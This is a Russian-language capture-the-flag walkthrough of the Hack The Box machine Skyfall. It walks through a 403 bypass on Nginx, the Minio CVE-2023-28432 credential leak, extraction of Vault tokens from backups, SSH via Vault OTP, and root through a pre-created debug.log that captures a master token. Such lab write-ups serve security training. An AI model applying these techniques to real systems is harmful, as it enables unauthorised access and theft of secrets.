Се­год­ня мы порабо­таем с сис­темой хра­нения сек­ретов HashiCorp Vault и извле­чем из нее кри­тич­ные дан­ные. Так­же обой­дем кон­троль дос­тупа к стра­нице на веб‑сер­вере и про­экс­плу­ати­руем баг рас­кры­тия дан­ных в Minio, а при повыше­нии при­виле­гий исполь­зуем неп­равиль­ный кон­троль дос­тупа к фай­лу в Linux.

На­ша цель — получе­ние прав супер­поль­зовате­ля на машине Skyfall с учеб­ной пло­щад­ки Hack The Box. Уро­вень ее слож­ности — «безум­ный».

warning

Под­клю­чать­ся к машинам с HTB рекомен­дует­ся толь­ко через VPN. Не делай это­го с компь­юте­ров, где есть важ­ные для тебя дан­ные, так как ты ока­жешь­ся в общей сети с дру­гими учас­тни­ками.

Разведка

Сканирование портов

До­бав­ляем IP-адрес машины в /etc/hosts:

10.10.11.254 skyfall.htb

И запус­каем ска­ниро­вание пор­тов.

Справка: сканирование портов

Ска­ниро­вание пор­тов — стан­дар­тный пер­вый шаг при любой ата­ке. Он поз­воля­ет ата­кующе­му узнать, какие служ­бы на хос­те при­нима­ют соеди­нение. На осно­ве этой информа­ции выбира­ется сле­дующий шаг к получе­нию точ­ки вхо­да.

На­ибо­лее извес­тный инс­тру­мент для ска­ниро­вания — это Nmap. Улуч­шить резуль­таты его работы ты можешь при помощи сле­дующе­го скрип­та:

#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1

Он дей­ству­ет в два эта­па. На пер­вом про­изво­дит­ся обыч­ное быс­трое ска­ниро­вание, на вто­ром — более тща­тель­ное ска­ниро­вание, с исполь­зовани­ем име­ющих­ся скрип­тов (опция -A).

Результат работы скрипта
Ре­зуль­тат работы скрип­та

Ска­нер нашел все­го два откры­тых пор­та:

Сра­зу про­веря­ем, что нам покажет веб‑сер­вер, и видим глав­ную стра­ницу сай­та.

Главная страница сайта
Глав­ная стра­ница сай­та

Точка входа

Изу­чая сайт, находим ссыл­ку на новый для нас под­домен.

Главная страница сайта
Глав­ная стра­ница сай­та

Преж­де чем смот­реть этот сайт, сна­чала обно­вим запись в /etc/hosts:

10.10.11.254 skyfall.htb demo.skyfall.htb

На най­ден­ном сай­те нас встре­чает фор­ма авто­риза­ции.

Форма авторизации
Фор­ма авто­риза­ции

Так как сайт работа­ет в демо‑режиме, в фор­ме отоб­ража­ются учет­ные дан­ные guest:guest.

Главная страница сайта demo.skyfall.htb
Глав­ная стра­ница сай­та demo.skyfall.htb

Прос­матри­вая стра­ницы сай­та, доходим до раз­дела Minio Metrics, где нас встре­чает ошиб­ка 403, свя­зан­ная с огра­ниче­нием дос­тупа.

Ошибка 403
Ошиб­ка 403

Обход 403

Пос­коль­ку исполь­зует­ся веб‑сер­вер Nginx, мож­но поп­робовать при­менить спе­циаль­ные пос­ледова­тель­нос­ти в пути стра­ницы, что­бы обой­ти кон­троль дос­тупа. Я переб­рал раз­ные наг­рузки с помощью Burp Intruder и опре­делил два пути, которые воз­вра­щают содер­жимое стра­ницы metrics.

Результат перебора в Burp Intruder
Ре­зуль­тат перебо­ра в Burp Intruder
Содержимое страницы metrics
Со­дер­жимое стра­ницы metrics

В пред­став­ленной таб­лице видим minio_endpoint_url. Пос­коль­ку мы наш­ли еще один под­домен, добавим и его в /etc/hosts.

10.10.11.254 skyfall.htb demo.skyfall.htb prd23-s3-backend.skyfall.htb

А теперь пос­мотрим, что там.

Содержимое сайта prd23-s3-backend.skyfall.htb
Со­дер­жимое сай­та prd23-s3-backend.skyfall.htb

Точка опоры

Minio — это высокоп­роиз­водитель­ное орга­низо­ван­ное объ­ектное хра­нили­ще. Пос­ледний пуб­личный экс­пло­ит для Minio — CVE-2023–28432. Он поз­воля­ет неав­торизо­ван­ному поль­зовате­лю получить кон­фиг, содер­жащий учет­ные дан­ные. Экс­плу­ата­ция очень прос­тая, нуж­но все­го лишь выпол­нить POST-зап­рос на стра­ницу /minio/bootstrap/v1/verify.

Файл конфигураций Minio
Файл кон­фигура­ций Minio

Для работы с Minio пот­ребу­ется кон­соль­ная ути­лита mc, ска­чать которую мож­но на офи­циаль­ном сай­те.

wget https://dl.min.io/client/mc/release/linux-amd64/mc
chmod +x mc

Пер­вым делом необ­ходимо соз­дать alias для под­клю­чения к сер­веру. Зададим имя аль­яса, адрес и учет­ные дан­ные.

mc alias set myminio http://prd23-s3-backend.skyfall.htb 5GrE1B2YGGyZzNHZaIww GkpjkmiVmpFuL2d3oRx0
Создание альяса для mc
Соз­дание аль­яса для mc

Ког­да все готово, мож­но прис­тупить к работе с Minio. Для начала зап­росим содер­жимое хра­нили­ща.

./mc ls myminio
Содержимое хранилища Minio
Со­дер­жимое хра­нили­ща Minio

Что­бы не прос­матри­вать каж­дый каталог отдель­но, мож­но выпол­нить рекур­сивный вывод содер­жимого.

./mc ls --recursive --versions myminio
Содержимое хранилища Minio
Со­дер­жимое хра­нили­ща Minio

В катало­ге askyy есть три вер­сии архи­ва home_backup.tar.gz. Конеч­но же, ска­чаем их на локаль­ный хост.

./mc cp --vid 3c498578-8dfe-43b7-b679-32a3fe42018f myminio/askyy/home_backup.tar.gz ./home_backup_1.tar.gz
./mc cp --vid 2b75346d-2a47-4203-ab09-3c9f878466b8 myminio/askyy/home_backup.tar.gz ./home_backup_2.tar.gz
./mc cp --vid 25835695-5e73-4c13-82f7-30fd2da2cf61 myminio/askyy/home_backup.tar.gz ./home_backup_3.tar.gz
Загрузка данных
Заг­рузка дан­ных

В одном из архи­вов наш­лись пуб­личный и при­ват­ный клю­чи SSH.

Содержимое первого архива
Со­дер­жимое пер­вого архи­ва

Но при попыт­ке под­клю­чения у нас зат­ребу­ют пароль, а зна­чит, это не сов­сем вер­ный путь.

Продвижение

Вер­ным решени­ем ока­залось поис­кать сре­ди фай­лов подс­тро­ку skyfall.htb.

grep -iR skyfall.htb ./home_backup_*/
Результат поиска
Ре­зуль­тат поис­ка

В ито­ге находим еще один новый ресурс — prd23-vault-internal.skyfall.htb. Добавим в /etc/hosts и его.

10.10.11.254 skyfall.htb demo.skyfall.htb prd23-s3-backend.skyfall.htb prd23-vault-internal.skyfall.htb

Прос­матри­ваем файл .bashrc и находим там еще и VAULT_TOKEN.

Содержимое файла .bashrc
Со­дер­жимое фай­ла .bashrc

info

HashiCorp Vault — это сис­тема управле­ния сек­ретами, раз­работан­ная для хра­нения паролей, клю­чей, сер­тифика­тов и про­чих дан­ных. Vault поз­воля­ет цен­тра­лизо­ван­но хра­нить, управлять и кон­тро­лиро­вать дос­туп к этим сек­ретам, а так­же пре­дос­тавля­ет механиз­мы для шиф­рования. Vault исполь­зует полити­ки (policies), что­бы огра­ничить дос­туп к сек­ретам и дру­гим ресур­сам.

Эк­спор­тиру­ем адрес и токен в сес­сию на локаль­ном хос­те и для про­вер­ки прой­дем авто­риза­цию Vault.

export VAULT_API_ADDR=http://prd23-vault-internal.skyfall.htb
export VAULT_TOKEN=hvs.CAESIJlU9JMYEhOPYv4igdhm9PnZDrabYTobQ4Ymnlq1qY-LGh4KHGh2cy43OVRNMnZhakZDRlZGdGVzN09xYkxTQVE
./vault login
Авторизация Vault
Ав­ториза­ция Vault

Для аутен­тифика­ции в служ­бе SSH Vault каж­дый раз генери­рует OTP. Сер­вер Vault получа­ет от кли­ента OTP, и в слу­чае одоб­рения поль­зователь под­клю­чает­ся по SSH. Но для под­клю­чения нам нуж­но ука­зать роль. Получить спи­сок ролей мож­но сле­дующим обра­зом.

vault list ssh/roles
Список ролей SSH
Спи­сок ролей SSH

А теперь под­клю­чаем­ся по SSH от име­ни поль­зовате­ля askyy, ука­зав роль dev_otp_key_role.

./vault ssh -role dev_otp_key_role -mode otp -strict-host-key-checking=no askyy@10.10.11.254

Под­клю­чение успешно, и мы забира­ем флаг поль­зовате­ля.

Флаг пользователя
Флаг поль­зовате­ля

Локальное повышение привилегий

Те­перь нам необ­ходимо соб­рать информа­цию. Я буду исполь­зовать для это­го скрип­ты PEASS.

Справка: скрипты PEASS

Что делать пос­ле того, как мы получи­ли дос­туп в сис­тему от име­ни поль­зовате­ля? Вари­антов даль­нейшей экс­плу­ата­ции и повыше­ния при­виле­гий может быть очень мно­го, как в слу­чае с Linux, так и в Windows. Что­бы соб­рать информа­цию и наметить цели, мож­но исполь­зовать Privilege Escalation Awesome Scripts SUITE (PEASS) — набор скрип­тов, которые про­веря­ют сис­тему на авто­мате и выда­ют под­робный отчет о потен­циаль­но инте­рес­ных фай­лах, про­цес­сах и нас­трой­ках.

Заг­рузим на хост скрипт для Linux, дадим пра­во на выпол­нение и запус­тим ска­ниро­вание. Из инте­рес­ного наш­лись толь­ко нас­трой­ки sudoers.

Настройка sudoers
Нас­трой­ка sudoers

Справка: sudoers

Файл /etc/sudoers в Linux содер­жит спис­ки команд, которые раз­ные груп­пы поль­зовате­лей могут выпол­нять от име­ни адми­нис­тра­тора сис­темы. Мож­но прос­мотреть его как нап­рямую, так и при помощи коман­ды sudo -l.

Поль­зователь может выпол­нить сле­дующую коман­ду от име­ни root без вво­да пароля:

sudo /root/vault/vault-unseal -c /etc/vault-unseal.yaml -v
Результат выполнения команды
Ре­зуль­тат выпол­нения коман­ды

В выводе вид­но, что из кон­фига получен мас­тер‑токен, который мож­но исполь­зовать, что­бы получить дос­туп по SSH с ролью dev_otp_key_role. Токен не отоб­ража­ется, но исполь­зуя ключ debug (-d), мож­но получить боль­ше информа­ции.

sudo /root/vault/vault-unseal -c /etc/vault-unseal.yaml -d
Результат выполнения команды
Ре­зуль­тат выпол­нения коман­ды

В текущем катало­ге будет соз­дан файл debug.log, но дос­тупа к нему у нас нет.

Права на файл debug.log
Пра­ва на файл debug.log

Что если поп­робовать соз­дать этот файл заранее? Трюк сра­ботал: запись в файл про­исхо­дит, но при этом пра­во дос­тупа не изме­нилось.

rm -rf debug.log
touch debug.log
sudo /root/vault/vault-unseal -c /etc/vault-unseal.yaml -d
Результат выполнения команды
Ре­зуль­тат выпол­нения коман­ды

Те­перь логи дос­тупны для чте­ния, и мы можем получить токен.

Содержимое файла debug.log
Со­дер­жимое фай­ла debug.log

Как и в прош­лый раз прой­дем аутен­тифика­цию Vault и зап­росим роли.

export VAULT_ADDR="http://prd23-vault-internal.skyfall.htb/"
export VAULT_TOKEN="hvs.I0ewVsmaKU1SwVZAKR3T0mmG"
./vault login
Авторизация Vault
Ав­ториза­ция Vault
./vault list ssh/roles
Роли Vault
Ро­ли Vault

А теперь под­клю­чаем­ся по SSH от име­ни поль­зовате­ля root, ука­зывая роль admin_otp_key_role, и забира­ем пос­ледний флаг.

./vault ssh -role admin_otp_key_role -mode otp root@10.10.11.254
Флаг рута
Флаг рута

Ма­шина зах­вачена!